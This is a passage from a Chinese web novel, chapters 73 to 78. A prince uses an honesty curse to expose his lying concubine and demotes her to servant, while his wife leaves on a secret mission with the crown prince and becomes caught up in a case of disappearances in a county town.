可柳婉清万万没想到,一贯胆小懦弱的小姑子,后来居然闹出那么大的动静。
就这样,等林如珍回去重新换了身衣裙出来,“生米煮成熟饭”的人成了林倾月和晋王。
而她痛失王妃之位!
偏偏她还把所有的责任都归咎在林倾月头上,为了抢夺晋王,在他们新婚夜当晚,又上演出了一场跳湖轻生的戏码。
东方宴的拳头紧攥,关节咔咔作响。
真相竟然是这样的!
林如珍啊林如珍,你骗得本王好苦!
本王将你视作救命恩人,哪怕知道你是假千金,身上留着贱民的血液,也要在身边给你安排一席之地。
可这一切竟然都是你偷窃得来!
你骗了本王,害得本王和倾月一对碧人成怨侣!
当梦境结束的时候,林如珍才幽幽醒转。
刚才梦见的画面,她还清楚地记得。不由得也吓了一跳:我怎么会梦到从前的事儿呢?还好只是一场梦,没人知道。
一抬眼,就看到晋王站在床边,眼神阴冷。
“王爷……”她娇娇柔柔地喊了一声,扶着额头坐了起来,“臣妾怎么睡着了?哦,许是因为昨夜想到要和王爷长相厮守,激动得一晚上没睡,白天又为了婚礼忙碌,没顾上吃饭。此刻身体虚弱,一不小心就睡着了。王爷莫要怪罪臣妾。”
这是她惯用的伎俩,每次用上这一招,东方宴就会心疼不已。
奇怪的是,此刻的东方宴没有像往常那样对自己嘘寒问暖,依旧一言不发地看着自己。
难道是今晚的自己太美了,王爷看傻了?
她垂眸,露出几分娇俏的神色:“王爷,您一直这样盯着人家,人家都害羞了呢!”
装,**你还在装!
他抬起手,想给她一巴掌,又怕脏了自己的手。
于是他深呼一口气,压下心底的滔**火,用尽量平静的语气说:“半年多前,珍儿你是怎么救本王的?再和本王说说。”
“过去的事情,王爷何必再提呢?王爷,不如我们就寝吧。”
林如珍这段时间不敢再随便说谎,诚实咒就像悬在嘴里的烙铁,随时会在她的嘴里烙下一个大疱。
今晚,她为了不让口腔里的气味破坏新婚之夜的美好氛围,她说话的时候,都小心翼翼地掩着嘴,避免气味传出。
偏偏,东方宴却揪着往事不放。
“本王就想听你旧事重提,那天真是你救的本王?”
“说话!本王必须要听你说!”
他语气是前所未有的严厉,不带一丝暖意。
林如珍心头莫名起了擂鼓,十分不安。
难道是林倾月又在王爷跟前乱说话了?若是我一直避而不谈,王爷估计就会听信林倾月的话了。
“是。”一字吐出,口舌的剧痛席卷而来,她死死地忍着,不让晋王看出她在说谎。
“好。”东方宴忽然笑了,只是笑容很冷很冷。
“只要你说了本王还是信你的。就怕你不说,才显得心虚。告诉本王,本王的伤口也是你包扎的,对吗?”
林如珍只好硬着头皮继续回答:“对,是
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我包扎的。”
嘴里痛得她开始冒冷汗,却还努力忍着。
“那这个包扎的手法,是谁教你的呢?”
“怎么不说了?说,只要你说,本王就信。”东方宴眼神灼灼,分明带着笑,却又好似和以往不同了。
“是珍儿跟……跟民间大夫学的。”她只好继续扯谎。
东方宴看到林如珍的嘴角因为痛都开始抽搐了,他也没拆穿,继续问:“是哪位大夫?”
谎话是经不起推敲的,所以一个谎才需要成百上千的谎话来圆。
从前他信任她,没有深究。
可现在,他一条条地往下问,问完了大夫后,又问她是怎么背着自己的?背的时候有没有和自己说过话?说了哪些?
好不容易熬完了这一串的问题,东方宴又开始询问她,是否知道是谁给自己下的**。
回答他的,只有谎话连篇。
最后的最后,林如珍口吐脓血,痛得放声大哭,再也说不出一个字来。
东方宴冷冷地看着她:“这就是谎言的代价。说谎者口舌生疮,烂舌、烂嘴!”
林如珍猛然反应过来,泪眼迷蒙地看着东方宴,想问他是不是故意引自己说谎的。
可她的舌头已经完全溃烂,再也说不出一句完整的话来。
东方宴看着她满口烂疮,口流脓液的样子,厌恶至极:
“你居然敢戏弄本王,当真以为本王永远发现不了真相吗?”
林如珍终于知道怕了,爬过来抱住东方宴的腿,想要求他看在往日的情分上原谅自己。
可她一开口,黄色的脓混着血液、口水一起流出,一个音节都吐不清楚。
“滚开**!”东方宴一脚踹了过去,“凭你这种脏东西也配触碰本王?来人!”
新房的门开了,几个侍卫应声而入。
“扒掉这**的华服、卸掉她的首饰,拖去下人院子。以后只准她干最脏、最累的活,吃最差最臭的饭!”
第74章 林倾月不见了!
林如珍拼命地摇头:不能这样,王爷你不能这样对待珍儿。你说过的,珍儿是值得你一辈子珍爱的人。就算我骗了你,可过往的山盟海誓难道都是假的吗?不,不可以!
虽然她依然没办法把心里的话说出口,可东方宴也似乎看懂了。
他冷笑着说:“本王答应在身边给你留有一席之地,本王就说到做到。所以,要让你做王府最卑贱的丫头!让你尝尝什么叫生不如死!”
林如珍被拖走的时候,还在哀嚎。可……也只剩下哀嚎了。
东方宴换了身衣服、鞋子,便迫不及待地去找林倾月了。
林倾月——他的王妃心里并不是完全没有他的。否则也不会在他和林如珍即将洞房的时候,将一切拆穿。
她此刻也肯定在栖梧殿里等着自己!
她在等自己发现真相,然后后悔、向她道歉。
虽然有些丢面子,可一想到自己过去的混账,以及林倾月受的苦楚和委屈,他就觉得面子也不值一提。
要走快一点,快一点见到她!
要让爱妃知道,自己刚才已经处罚了林如珍。让她口舌都溃烂得不能再说话,还让她当最卑贱的奴才。
如果这样爱妃还不能消气,那就把那**绑过来当着爱妃的面凌迟处死!
栖梧殿里一片漆黑,没有一盏灯,也没有一个仆人。
他站在空空荡荡大殿里,冷声质问赵安:“不是让你安排人手伺候王妃的吗?”
赵安赶忙解释:“先前是安排了人手伺候的,可王妃不喜欢人多,只留了碧儿在身旁。其他的下人们,只在王妃不在的时候过来打扫。”
东方宴想着:她应该是从小吃了太多的苦,受了太多的伤,所以不喜欢有那么多人在身边。没关系,本王以后会慢慢地补偿她,对她好,让她往后余生都幸福美满。
前殿没人,她应该在后殿的寝室吧。
东方宴放轻了脚步,走到了林倾月的寝室内门口,敲了敲门:“倾月?爱妃,你睡了吗?”
没有人回应。
他又敲了敲:“本王有话要和你说,你听见了吗?爱妃?爱妃!你不说话,那本王就当你默许了?本王进来了。”
明明里面是他的妻,可此刻他说话行事都透着几分小心翼翼。
推开了门,月光随之洒落,照在空空荡荡的床榻上。
依然没有人。
林倾月不在,小丫鬟碧儿也不在。
东方宴终于意识到不对劲,再去找时,发现整个王府都没有这对主仆的踪迹。
那一瞬间,他忽然有些害怕——好不容易认清了自己真心,好不容易看清了眼前的迷障,可她居然不在了。
不要他了吗?
不!既然上天给他们相遇相知的缘分,又让突破重重阻碍,成为夫妻。那么他此生都不可能放手!
“找,给本王找!”
就在东方宴到处找人的时候,林倾月早就已和谢守正汇合一出,驾马奔出城外。
她在王府没有什么牵挂,离开的时候也不过只是收拾了几件随身的衣物,说走就走。
当然,此行凶险,且事关机密不宜,所以她没有带走碧儿,只是提前将她送回长宁侯府,留在柳婉清身边伺候。
“林副使,晋王今晚纳妾,你却出逃了。真乃是古今第一人!”
谢守正都忍不住有点佩服林倾月了。
被的女子都是以夫为天,可林副使为了任务看,却可以抛夫弃家!
事业心那么重,难道当初能把自己夫君送出去冥婚。
林倾月瞥了他一眼:“你哪来那么多废话,赶紧走!”
出了城门,沿官道行了小半个时辰,便到了京城郊外万安县境内。忽见前方道旁停着一人一车。
月华似霜,照亮了周围的景物。
白衣男子负手立在车旁,广袖流云,墨发被月光镀出银边,提拔的身影微微侧依着车辕,恰如谪仙临世。
恍然间,前世记忆里的故人忽至心间——白衣墨发,笑若春温,折花递来的模样清晰如昨。
林倾月指尖一颤,缰绳下意识收紧。骏马长嘶立住,惊破夜
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的静谧,亦惊破道旁那人的沉思。
他缓缓转身,清辉落处,一张剑眉星目的面容映入眼帘。
他的眉眼与东方宴有三分相似,却无那凌厉锋芒,眸光温和平静如春水映月。
可惜,那张脸虽美如良玉,却终究不是记忆中,那个折花含笑的清影。
林倾月还在怅然,前方的男子也正要启唇说话,忽然一声干号惊天动地而来——“殿下——啊啊啊,我的殿下啊!我终于又见到您了!”
然后就一道迅捷的身影飞扑了出去,跪在东方起的脚下,抱住他的大腿嚎啕大哭:
“殿下我好想您啊——嗷呜呜呜——我进不去东宫,瞧不见您,每天只能路过缅怀——嗷呜呜呜——还好你没事……殿下我是小灰啊,您怎么不说话?怎么不激动?难道您忘记您的小灰灰了吗?”
林倾月都惊呆了。认识谢守正那么久,见过他的狡猾、啰嗦、狼狈等等模样,唯独没有见过这么……舔狗的样子。
激动之下,居然连狼嚎声都哭出来了。
东方起也很无语。
他提前等在这里,就是为了给林倾月留个好印象,忘记他当猫时的狼狈。
甚至,他还特意调整了几次站立的位置。比如月光在什么角度下,能让人气质更好等等。
刚才远远听到马蹄声,他故意没有转身,故意等她走近一些的时候,才回眸微笑。
可这谢守正却完美地破坏了所有的氛围,东方起都点后悔让他跟着出来。
“小灰你松开爪,松开!你的鼻涕眼泪都抹到我身上了,小灰!再这样,本宫就要让你滚回去了!”
谢守正吓了一跳,赶忙站起来,一边胡乱擦眼泪、擤鼻涕,一边道:“殿下恕罪,我实在没想到你也会出现在这里,陛下也没提前说。突然瞧见主人,人家也是太激动了!殿下,您千万别赶我走啊。就算您赶,我也不会走!”
东方起能怎么办呢?自己养的宠物,变成了人也依然没有改变对主人的忠诚和喜爱,他也不好真的怪罪。
第75章 我是东方起,幸会!
东方起拍了拍谢守正的头道:“行了,不赶你走了。不过以后要收敛些脾气,你大齐的官员,不是狼了,更不是狗!要内敛些,沉稳些!知道吗?”
谢守正傻呵呵地笑着:“知道知道!小灰也就在主人跟前会失态,其他时候自然会保持好官威!”
说到这里他才忽然想起林倾月来,侧过身来对东方起介绍:“这位是林副使,殿下应该还没见过吧?林副使现在是咱们玄镜司的二把手,也是小灰我帮殿下招募到的人才!哈哈,怎么样,我还是很有眼光的吧!”
**小花的事,理所当然地这么认为。
白衣如仙的男人,向林倾月微微颔首,温润的声音如春风拂面:“林副使,我是东方起,幸会!”
——很高兴,终于能以我本来面目与你相见。
林倾月微微一笑:“太子殿下,幸会。”
谢守正却觉得有些奇怪:我家殿下虽然礼贤下士,可对待林副使的态度未免也过于尊敬了。
噢,我怎么给忘记了,林副使可不仅仅是一个小官,还有层其他的身份。
于是他就快人快语地道:“林副使是晋王妃,论起来还是殿下的嫂嫂呢!”
东方起被“嫂嫂”两个字给刺了一下,忍不住瞪了谢守正一眼。
谢守正没注意,还自顾自地说:“这么说起来,都是自己人,这一路上也不怕尴尬了。”
——你说了才尴尬好吧?
“时间不早,我们还是快些上路吧。”提到东方宴,林倾月还有点担心再不走,万一被他追上就麻烦了。
“此去北疆路途遥远,所以我特意准备了马车,夜里赶路时候你可以在车里休息。”东方起说着,亲自掀开车帘,邀请林倾月上车。
林倾月也不推辞,一步跨入车里,坐着柔软的兽皮毯上,靠着蓬松的大迎枕,整个人顿时就放松下来。
谢守正立马过来驾车,东方起先一步坐上车:“我来驾车,你骑马。”
“啊?”谢守正赶忙道,“这怎么行,殿下您金尊玉贵,怎么能干车夫的活,还是我……”
“出门在外注意低调,没有什么殿下,也不用计较什么尊卑。去骑你的马,休要啰嗦。林副使的马也牵上。”
东方起说话间,已经挥鞭打马,驾驶着马车开始前行。
林倾月冷眼旁观,知道这是他在向自己展示诚意,便也欣然接受。
“车厢左侧的抽屉有零食,你饿了可以吃。中间小几上是已经泡好的茶水,渴了喝。右侧的抽屉里还放了几本话本,晚上别看会伤眼,白天无聊的时候可以看。”
一帘之隔之外,男人清润的声音飘入耳中。
林倾月翻出糕点,吃了一口,居然还是温热的,入口绵软甜入心扉。
“想不到殿下还是个体贴人,多谢了。”林倾月的声音带着几分慵懒,却十分好听。
“你为我冒险去北疆,我能为你做的只有这一点微末之事。”
车轮滚滚、马蹄哒哒,迎着月色奔赴向明日的朝阳。
与此同时,东方宴还在满城寻找林倾月。
最后,终于从守城兵卫那里得知,林倾月和谢守正拿着玄镜司的令牌出城去了。
“和谢守正一起?”
东方宴忽然想起,自从和林倾月成亲以来,谢守正就时不时地在跟前冒出。后来甚至还把林倾月招揽过去给他当手下。
所以林倾月是被谢守正拐走私奔了?
还是为了报复自己,所以故意和谢守正那种泥腿子出身的乡下男人厮混在一起吗?
想到这些,东方宴勃然大怒,径直冲去了长宁侯府。
最后在柳婉清那边,找到了碧儿。
碧儿当时正睡得正香,半夜三更听说晋王要见自己,心里就忍不住疯狂吐槽:大半夜不睡觉,找我一个丫鬟干什么?谁家王爷这么清闲啊!
东方宴见了碧儿就迫不及待地询问:“王妃呢?她到什么地方去了?”
碧儿柔柔惺忪的睡眼:“王妃不是在王府吗?”
林倾月只是让她在长宁侯府呆一段时间,别的什么也没说啊。
东方宴道:“你休要学你家主子给本王装疯卖傻!她若不是早有预谋与人私奔,怎么会提前放你回娘家?”
“啊?王妃私奔?和谁?”碧儿吃惊之下,瞌睡算是彻底醒了。
“和……这不是重点。重点是,她有没有和你透露过要去什么地方?”
碧儿摇头。
“或者在你面前提起过什么地名没有?”
碧儿继续摇头。
“她和谢守正在一起的时候,有没有说过什么?”
碧儿还是摇头。
东方宴恼了:“你身为她的贴身丫鬟,怎么一问三不知?”
碧儿道:“王爷您
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还是她的夫君,您都不知道奴婢怎么会知道?若是王妃真的走了,那也只能是被您给气跑的。自从她嫁入王府,您是怎么对她的?”
“新婚当夜丢下她去私会二小姐,王妃等了您一晚上,结果等来了那个假郡主!”
“她被假郡主欺负得那么惨,您连一句关心的话都没有!就把她丢在偏院里自生自灭。你可有想过后果?万一她当天,真的被假郡主杀**?”
“后来您又为了二小姐,当着她娘家人的面,将她抓走关去地牢!她是王妃啊,是您的妻子啊,您就一点不顾及她的脸面!”
“逼得她没办法,放着珍贵的身份没法用,只能去玄镜司抛头露面以求生路!她是个弱女子啊,却要每日和那些药物魔鬼怪打交道,多危险您知道吗?关心过吗?”
“你非但不体谅她的辛苦,却总嫌弃她给你丢面子,一次又一次地找她的麻烦!”
“现在好了,王妃对您死心了!她走了,您来这里闹又有什么用?难道您不知道,你从未给他王妃的体面,还在她新婚仅仅一个月的时间就娶了她的妹妹,害得她颜面尽失!又怎么可能回来?娘家,她还回得来吗?”
说到气愤处,碧儿都顾不得尊卑,斥责东方宴:“但凡您还有些良心,就该反思自己!跑来折腾奴婢一个丫鬟算什么?”
“你,大胆!”恼火归恼火,可碧儿说得在理,旁边又有林如风夫妇护着,最终他只能铩羽而归。
一夜未眠,他的脑海里总是不断地重复着碧儿指责自己的话,以及过去的种种。
漫天大雪里,那瘦弱的女子却能将自己一路背回到城门口,那是怎样的艰辛?
可自己呢?明明答应过她,要报答她的恩情,最后却认错了救命恩人!
非但认错了人,对她各种嫌弃、欺辱。
一想到新婚夜,她孤零零地坐在新房里,等着自己揭盖头的模样,他就觉得心痛无比。
混帐,自己真是个混帐啊!
难怪连碧儿那个丫头,都敢那样骂自己。确实该骂!
无论如何,本王还是要想办法找回爱妃。我们缘分天定,就算中间有误会,只要本王诚心诚意地忏悔,爱妃肯定能回心转意!
再说,本王皇亲贵胄,堂堂王爷,甚至很快就能晋封为储君,怎么也不是谢守正那种人能比得过的!
第76章 不是私奔只是公干?
夜晚再如何懊悔难受,第二天,东方宴还得收拾好情绪老老实实地去上朝。
他还寻思着等下朝去玄镜司,找两个司卫问问情况。
下朝之后,东方宴又被齐昭帝给召去。
齐昭帝冷冷地瞅了他一眼:“听说你闹腾了一晚上?”
东方宴没想到事情这么快就传到陛下这里,赶忙道:“一点小事,不敢惊扰皇伯伯。”
齐昭帝开门见山地道:“朕知道你在找林副使。她和谢守正被朕派去执行任务了,事了之后自会回来,无需担心。”
“他们去执行任务?”东方宴闻言,心中莫名一喜:所以,不是私奔只是公干?也是,就谢守正那种出身微末,又不重修养的人,林倾月怎么可能和他对上眼?
可转念又一想,孤男寡女,私出京城,即便是为公干,传出去也有辱名声。
“皇伯伯,此事您怎么不先告诉给侄儿?再者,玄镜司那么多人,怎就单单派您的侄媳妇出去公干?”
“能者多劳。至于为什么没告知你——此事早几日已经定下,你的妻子却没有告知给你,难道你不该反思吗?”
齐昭帝说着说着,火气上头,呵斥起来:“别以为朕不知道,你和那林家二小姐的腌臜事!吃着碗里,望着锅里也就罢了,好歹找个出身清白,配得上你的。你看看你找的那是个什么东西?把皇家的脸面都给丢尽了!”
东方宴还是头一次被气昭帝这么指着鼻子骂,他赶忙跪下:“臣已知错,皇伯伯息怒,切莫因臣气坏了身子。”
齐昭帝训斥了两声后,挥了挥手道:“回去反思,除每日上朝之外,其他时候禁足思过!若再胡闹,就滚回你的封地去!”
居然要禁足?可见圣上是真的动怒了。
东方宴心下一颤,不敢再多争辩,磕头谢恩。
在退出之前,他忍不住还小心翼翼地询问了一句:“皇伯伯,倾月她此去何地?何时能归来?”
齐昭帝瞅了他一眼,只说来一句:“顺利的话,一个月之后归来。”
若是不顺利,便有可能一去不回。想到这些,齐昭帝心中担忧,但面上却不敢有丝毫流露,免得叫东方宴看出端倪来。
东方宴很想再问问林倾月具体去了哪里,可第一次问的时候,齐昭帝没有明示,他自然就不会再问第二次。
于是垂头丧气地退了出来,回去闭门思过,等媳妇回家。
林倾月一行三人,赶了七天的路,抵达了丰年县时,人困马乏,急需休整。
因为是秘密出来执行任务,怕行踪暴露。因此,这一路上都没有前往驿站下榻,而是选择住客栈。
过去几天,一路顺遂。
但今日有些奇怪,丰年明明是个小县城,但客栈生意却都出奇的好,问了好几家居然都说客满了。
直到他们经路人指点,到了本县最高端的一家客栈“喜来客栈”,才有客房。
本来他们三个人,要开三间客房,但喜来客栈就只剩下两间客房了。
林倾月忍不住问道:“你们县客栈的生意都这么好吗?”
店小二道:“丰年县地处交通要塞,南来北往的商旅都要在我们这儿下榻。其实以往生意也没这么好,很多过路人为了省钱,夜晚选择露宿的比比皆是。但是最近……”
他看了一眼大门外彻底黑下来的天色,压低了声音道:“最近一个多月,县里出了好起失踪案。起初是一些流浪的乞丐失踪,后来又有在外露宿的旅人失踪,前前后后一核算,失踪者估计都有好几十人!报到衙门里去,至今都没找回来!”
“整个县城人心惶惶,没人敢走夜路,更不敢在外露宿。这不,我们这些开旅店的生意也就好了许多。你们若是再来晚一些,就只能在大堂里打地铺了。”
谢守正一听这话,顿时来了精神:“还有这样邪门的事儿?县里的捕快都是干什么吃的?”
店小二悄声道:“这事,一般的不捕快解决不了。听说是出了**的妖怪,最近郡里还派了玄镜司的人下来蹲守。也不知道能不能把失踪人找回来——哎客官,你们要吃点什么?坐下点菜!”
谢守正早就饿得前胸贴后背,把刚才的事情暂时放一放,寻了位置
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坐下:“伙计,店里有什么好酒好菜?”
他喜欢跟在太子身边,最主要的原因之一就是,太子出手阔绰,从来不短他的吃喝。
因此,在太子跟前,谢大人就如同拥有了衣食父母一样,豪气干云。
店小二殷勤地过来招呼,并递上菜单:“我们店的招牌菜是小鸡炖蘑菇,正在灶台上小火慢煨,给您几位上一份?”
“小鸡炖蘑菇也不错……”
谢守正忽然瞪大了眼睛,指着菜单嚷道,“什么,一份小鸡炖蘑菇,居然要500文钱!活鸡的市价也才30文钱,做熟后每只最多卖到100文钱,普通饭馆50文钱的也比比皆是,你卖这么贵难道是在宰客?”
店小二赶忙解释:“我们店500文的鸡汤,用的可是乃是精心散养的走地小母鸡,和市场上几十文钱一只的全然不同!”
谢守正冷哼:“怎么个不同?难道你家的鸡是吃金子长大的?”
店小二洋洋得意地介绍:“我们店用的鸡,自小散养在果园里,白日啄食野果、捕虫啖草。渴了饮的是山泉甘露,困了卧的是软草松枝。待暮色四合,鸡群回笼,还有专门的伶人奏起小曲伴眠。如此养足300日方才可以食用。”
谢守正闻言惊奇:“居然还有这等饲养之法?这跟伺候大爷似得的养大,确实费钱。可……有这种必要吗?”
“自然有必要!”店小二拍着胸脯保证,“客官你吃过就知道了,鸡肉鲜嫩回甘,油脂丰富,再辅以香菇提香,两相得宜。客官您尝过一次,保准忘不了!”
“可是500文一只,还是有点贵啊……”他说着,悄悄地向东方起递去眼神。
东方起大方地道:“来一份尝尝吧——把菜单给小姐,别光顾着你自己点。”
出门在外,当然不适合再用之前的称呼,因此林倾月和东方起对外以兄妹相称,外出探亲。而谢守正则是他们的管家。
林倾月又大手一挥,点了几个爱吃的菜。反正有金主付款,用不着客气。
从这点来看,东方起做人还是比做猫要有用一点。
第77章 男人都不喜欢被人说“不行”
不多时,菜肴次第上桌,前几道小菜尚属寻常。
待小鸡炖蘑菇端来,香气轰然漫开。
定睛看去,只见汤面浮着金黄油花,粉白鸡肉与褐色香菇在沸汤中舒展,热气和香气扑鼻而来,未及举箸,已被勾得垂涎欲滴。
谢守正行事小心,先用银箸测了测毒,见银箸没有异样,然后才舀了一碗肉汤递给东方起:“公子尝尝。”
东方起转手就把碗放到了林倾月跟前,然后自己才另外盛了一碗。
看谢守正有点郁闷,便也顺手给他装一碗:“你不是很饿吗?吃吧。”
谢守正这才又乐呵起来,低下头呼哧呼哧地喝汤吃肉,一边吃一边点评:“鸡肉甚美,汤鲜如琼浆,但我还是感觉被商贾做局坑了。”
林倾月尝过之后道:“吃都吃了,想那么多做什么?嗯,汤鲜肉美,不愧是夜夜伴着小曲入眠的鸡。”
东方起附和道:“是不错。”
谢守正赶忙道:“你们若是都喜欢,回头也在家里养一批,成本肯定没有这么高。”
东方起摇了摇头:“我的身份不合适做这样的事情。否则传出去,底下人争相效仿,难免会引起奢侈之风。民间多疾苦,我们这一桌已经吃掉寻常百姓一个月的花销了,偶尔尝尝倒是无妨,不可贪恋。”
谢守正“哦”了一声,开始吧唧吧唧地吃饭。
东方起皱眉:“小灰,吃饭不要吧唧嘴,注意仪态!不要跷二郎腿,注意仪态!不要……”
话没说完,一个鸡腿就塞进他的嘴里,堵住后面的话。
林倾月白了他一眼:“吃饭吧,我的殿下!”
她终于明白谢守正的啰嗦是随了谁的性格。
好端端一个风光霁月的美男子,偏偏爱啰嗦,真是煞风景!
吃完了饭,三人便上楼去休息了。
上楼前,店小二还再三叮嘱:“夜间切记晚上关好门窗。不论听到任何声音,都不要出来查看!”
“好,知道了。”
谢守正把店小二打发走后,压低了声音对林倾月和东方起道:
“越往边境而去,路上的妖邪之物就越多,比不得京里的太平。你们要多注意!”
林倾月单住一间。一进入屋,她就打开窗子,让月光尽可能多地探**内,好在打坐的时候吸收日月精华。
至于店小二的叮嘱——那是一句也没放在心上。
夜阑人静,外头的街道上偶尔有一两声狗吠入耳。
可等到再晚一些的时候,狗吠声都安静下来。唯有夜风轻轻地荡**内,带着清冷。
林倾月纵身一跃,身姿如燕,轻盈地掠过窗子,落到了外面的街道上。
下一瞬,店门开了,东方起走了出来。
看到林倾月时候,他还吓了一跳:“你什么时候出来的?”
林倾月指了指上面的窗子:“我翻窗的。你怎么也出来了,该不会是……”
下一刻只听“咚”的一声,好像有什么东西从店内大堂的楼梯上滚了下来。
林倾月和东方起同时看去,借着一抹月色,就看到谢守正骂骂咧咧地爬了起来:“真是抠门,晚上也不留个灯,害得我绊了个大跟头——哎你们!”
他看到了门外的两人,颠颠地跑过来:“你们怎么出来了,该不会……”
东方起道:“你刚才不还打着呼噜,睡得正香?怎么又突然出来了?”
谢守正道:“我就是短暂地睡一睡而已。县里出了这样重大的失踪案子,我总要出来看看情况,不然也睡不踏实。殿……公子,要不我和林副使去看看。您身体不行,还是待在客栈安全。”
男人都不喜欢被人说“不行”,东方起当然也不例外,他瞪了谢守正一眼:“既然都出来了,就走吧。”
夜晚的街道,空空荡荡,果然没有一个人敢在夜里出门。
他们走了半个多时辰
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也没有什么发现,三人站在街道中间,正商量着是不是该去衙门问问具体消息——店小二那边能问到的消息都不知道传了多少手,虚虚实实并不准确。
就在这时,一张大网忽然从天而降。三人猝不及防,顿时被网罗其中。
是凶手出现了吗?
下一刻就听一声大喝:“可算抓到了你们了,还不束手就擒!”
接着就见一高一矮,两个男人跳了出来,一手拿刀一手拿罗盘、捆妖锁之类的器具。
谢守正看他们手里的器具十分眼熟,忽然就反应过来:“你们是玄镜司的兄弟?”
一高一矮两个男人对视一眼后,其中高个的男人,趾高气扬地道:“算你们有眼光,认得出本差爷!”
矮个男人说:“没错,有眼光!”
高个说:“既然听过我们玄镜司的大名,还敢为非作歹?”
矮个:“还敢为非作歹?”
高个:“先前的失踪者都被你们抓去哪里了?还不从实招来?”
矮个:“没错,从实招来!”
三人这才反应过来,这是把他们当成了凶手抓了!
谢守正赶忙解释:“弄错了,弄错了!简直就是大水冲了龙王庙!我们不是凶手,是过路的旅客!”
高个道:“过路的旅客谁敢半夜三更出来晃荡?一看你们三个就不是好东西,敢在我们的地头上犯案,找死!”
矮个说:“没错,找死!”
那高个说着还翘着鼻子在谢守正身上嗅了嗅,忽然脸色一惊:“有妖气,你是妖!”
矮个也嗅了嗅:“没错,是妖!”
玄镜司除了京城的总部之外,在各地还设有分部。每个分布有正副两个司长,手下的司卫则有多有少,并不统一。
而高个和矮个,乃是本地郡上的司卫,前阵子还去京城走亲戚见过谢守正。
谢守正当然也认得他们:“你们是……大毛二毛?”
第78章 我们不想钻狗洞
“你认得我们兄弟俩?”那高个子的司卫翘着鼻子嗅了嗅,“你身上的气息确实很熟悉,好像……好像是谁来着?”
到了这一步,谢守正也不好藏着身份,他厉喝一声:“急急如律令,天网撤!”
掌心猛地向上一翻,困住三人的罗网瞬间腾空而起,在半空疯狂收缩,化作拳头大小的一团黑影,“嗖”的一下飞回他手中。
他怒极反笑,骂道:“大毛、二毛!你们两个小兔崽子,还学会班门弄斧了?”
对面两人惊呆了。
“你怎么会操纵我们的伏妖天网?”
“没错,你怎么会?”
“还有我们的小名,你怎么也知道?你到底什么人?”
“到底什么人!”
林倾月忍不住道:“看着就一副不太聪明的样子,谁召进玄镜司的?太不负责了!”
谢守正心虚地摸了摸鼻子:“我招的。”
林倾月:“呵呵,难怪。”
连东方起都叹息道:“下次招人注意考核下智商!”
“是是,公子教训的是!”
谢守正气呼呼地走上前去,一人给他们踹了一脚:“睁开你们的小眼睛看清楚呀,老子是谢守正,几个月前才见过!这么快就忘了?”
两人的小眼睛同时一亮,这才恍然大悟,齐齐喊了一声:“谢大人!”
这两兄弟其实是鼹鼠成精,视力不好,但是嗅觉灵敏。原本是大米的邻居,一同在山里修行。高个叫大毛,矮个叫二毛。
后来大米进了玄镜司走上了正途,当听说地下的分部缺少人手的时候,便想到了自家邻居兄弟。于是向谢守正举荐进入玄镜司。
谢守正经过考验,觉得这两人虽然胆小且智商又低,但嗅觉灵敏,还是能派上不少用处,特别人品还不错,便考核通过。
几个月前,大毛二毛兄弟俩休假,还特意带着本地的特产上京城看望大米,顺便给谢守正送了一大袋花生米。
没想到,今晚居然闹出了这样一场乌龙。
认出了谢守正后,两人赶忙过来行礼。
高个的大毛更通人情,于是赶忙道歉:“大人恕罪!我们兄弟俩是真没想到,这里居然能碰到您这样的大官。”
矮个的二毛跟着附和:“对,没见过大官!”
大毛又问:“大人,您怎么跑到我们这种小地方了?”
谢守正当然不会说出真实目的,只道:“本官是微服出巡,视察玄镜司各部的情况。恰好听闻这里有诡案发生,便来一探究竟。”
“既然遇到了你们,干脆就给本官讲讲案子具体的情况。也省得本官再跑一趟衙门。”
于是大毛就将最近发生的事情一五一十地告知。
事情要从一个月前开始说起。
那时,县城的街市上还时常能看到一些流浪的乞儿,可是从那段时间开始流浪的乞丐们,接二连三的失踪。
因为他们地位低下,没有家人朋友,失踪了也无人报案,还以为他们只是离开了本县而已。
直到后来,当地的居民、过路的旅客,先后有二十多人失踪,这才引起了官府的重视。
官府也是无能,查了好一阵子月,都没发现问题。
有一次,他们还特意将其中一名捕快伪装成旅客,准备钓出凶手。
暗中则有一队人马悄悄盯梢,只等绑匪出现,便一举将其拿获。
谁知等了半天,等的众人都熬得瞌睡连天的时候,突然刮出一阵阴风,卷起无数飞沙走石,让人睁不开眼。
须臾之后,等风沙过去后众人再看,就发现派出去当鱼饵的小捕快凭空消失了。
大家这才意识到,可能涉及诡异力量。于是立马派人去玄镜司求援。
玄镜司的分部主要设立在郡上,附近的县、镇、村,哪里遇到事儿了,再安排人过去处理。
而大毛二毛就是被派来丰年县处理失踪诡案。他们本就是妖身,又有灵敏的嗅觉,派来处理这案子也合适。
“可我们兄弟俩来到这儿都快半个月了,也没见那凶手再出来作怪。也不知道是不是被我们的赫赫威名给吓退了。”
“没错,吓退了!”
“可我们兄弟俩在玄镜司也有许多事物要忙,不能总守在丰年县这儿浪费时间。“
“没错,不能浪费时间!”
“不过,这段时间我们也不是全无发现。”
大毛眼珠子一转,压低
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了声音对谢守正道,“我觉得本县县令的态度很奇怪。我们兄弟是被县尉派的人,请来帮忙平事的。可那卢县令非但不配合我们工作,还总给我们施加压力。说我们是乌合之众,不知礼仪,毫无半点作用。还非说,这就是一般的失踪案件,根本没有什么怪力乱神之事。”
“二毛有一回被他惹火了,差点想当着他面现个原形,让他开开眼界,免得一天到晚说我们玄镜司是装神弄鬼的衙门!”
大毛的话很多,一说起来就叨叨个没完。也不知,啰嗦是不是玄镜司的传统美德。
不啰嗦的二毛,就只会在旁边附和:“对、没错、县令可恶!”
几人都听明白了。
“你们想得没错,对方这段时间没有再出手,定然是知道了玄镜司有人插手此案。”林倾月说着看了眼东方起。
东方起心照不宣地道:“那就让玄镜司的人暂时离开,等对方出手,再一举擒获!”
大毛一拍大腿,道一声:“好!真是个好法子,我之前怎就没想到呢?”
二毛:“没错,之前怎么就想到?”
大毛是个性急的,当即拉着二毛就要去找县令老爷:“今晚我们兄弟二人就去辞行!”
谢守正道:“反正已经出来了,我们也跟县衙看看。”
主要是他总觉得那兄弟俩瞧着不太灵光,不放心他们。
夜已三更,县衙早就熄了灯。
大毛、二毛也不管那么多,砰砰地敲门要见县令,然后不出意外地被守门的人赶走了。
虽说他们两个是从郡上过来的,但职务只是普通的司卫,县令大人自然用不着给他们面子。所以半夜三更,他们是进不了县衙的。
大毛二毛的思维异于凡人,吃了闭门羹也不在意,扭头对谢守正道:
“大人您几位等会儿,我们兄弟俩去前面院墙掏个大洞,到时候咱们就能一块钻洞进去了。这**县衙,还能难得倒我们吗?”
